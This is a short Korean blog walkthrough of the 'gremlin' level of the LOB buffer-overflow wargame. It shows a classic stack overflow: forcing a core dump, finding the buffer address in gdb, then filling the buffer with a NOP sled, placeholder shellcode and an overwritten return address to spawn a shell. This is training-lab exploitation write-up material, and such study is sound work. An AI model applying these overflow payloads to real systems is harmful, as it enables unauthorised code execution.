Hacking/Pwn.

[lob] gremlin 권한 획득

2016. 12. 19. 23:57

gremlin 쉘 권한 획득



일단 제가 쉘 획득한 과정을 설명하도록 하죠


$ cp ./gremlin ./gremlia

이 명령으로 ./gremlin 파일을 하나 더 만듭니다. 왜 만드냐면 메모리 덤프를 뜰 때 필요한 core 파일을 생성하기 위해서죠. ./gremlin 실행 파일은 권한이 맞지 않기 때문에 Segmentation fault가 떠도 core 파일이 생기지 않습니다.


$ ./gremlia `python -c 'print "a"*260+"b"*4'`

이 명령으로 buffer 메모리의 주소값을 알아낼 수 있습니다. 저는 여기에 Nop sled라는 기법을 이용해서 쉘 코드를 실행시킨 뒤, 쉘을 따낼 생각입니다.


Segmentation fault (core dumped) 


이 문구가 떴습니다. core 파일이 생성됐나 봐요. ls 명령어를 치니까 진짜 있습니다.


$ gdb -c core

이렇게 덤프된 core 파일을 분석합니다. 제가 buffer와 그 뒤의 sfp 영역에 a를 집어넣었으니 여기에는 0x61 값이 들어가 있을거고, ret 영역에는 0x62가 들어있겠군요.


그리고 buffer에 0x61값이 들어있는 주소 중 앞에 있는 주소 하나를 복사합니다.


$ ./gremlia `python -c 'print "\x90"*100+"[쉘코드]"+"나머지 260, sfp 까지 채움"+"아까 복사한 주소값"


이렇게 하면 gate의 쉘 권한을 획득할 수 있습니다. 다시 ./gremlia 와 똑같은 인자를 가지고 ./gremlin을 실행합니다.

그리고 쉘이 뙇

끝 이상 제 첫번째 포너블 풀이였습니다.




'Hacking > Pwn.' 카테고리의 다른 글

lob 현황  (0) 2017.04.25
argv에서 Segmentation Fault  (0) 2017.04.23
codeengn.com  (0) 2017.02.23
[pwnable] bof를 응용한 문제를 만들어 봤습니다.  (0) 2016.12.18
[pwnable] 왜 원본파일에다 해킹 안함?  (0) 2016.12.18